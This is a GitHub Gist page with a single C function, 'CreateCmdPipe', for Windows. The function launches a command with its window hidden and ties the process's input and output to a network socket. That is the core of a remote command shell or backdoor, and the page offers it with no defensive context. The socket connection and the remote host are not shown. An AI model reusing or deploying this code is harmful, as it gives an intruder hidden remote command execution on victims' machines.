Created
June 13, 2014 07:43
-
-
Save wateroot/3a1a8e63e504579eada9 to your computer and use it in GitHub Desktop.
CreateCmdPipe
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int CreateCmdPipe(char *szCmd) | |
{ | |
PROCESS_INFORMATION pi = {0}; | |
struct sockaddr_in sa = {0}; | |
STARTUPINFO si = {0}; | |
memset(&si, 0, sizeof(si)); | |
si.cb = sizeof(si); | |
si.wShowWindow = SW_HIDE; | |
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; | |
si.hStdInput = si.hStdOutput = si.hStdError = (void *)g_hSock; | |
int nRet = CreateProcess(NULL, szCmd, NULL, NULL, | |
TRUE, 0, NULL, NULL, &si, &pi); | |
if (0 == nRet) { | |
//Log("CreateProcess fail. erron=[%d].\n", GetLastError()); | |
return -1; | |
} | |
WaitForSingleObject(pi.hProcess, INFINITE); | |
CloseHandle(pi.hProcess); | |
CloseHandle(pi.hThread); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment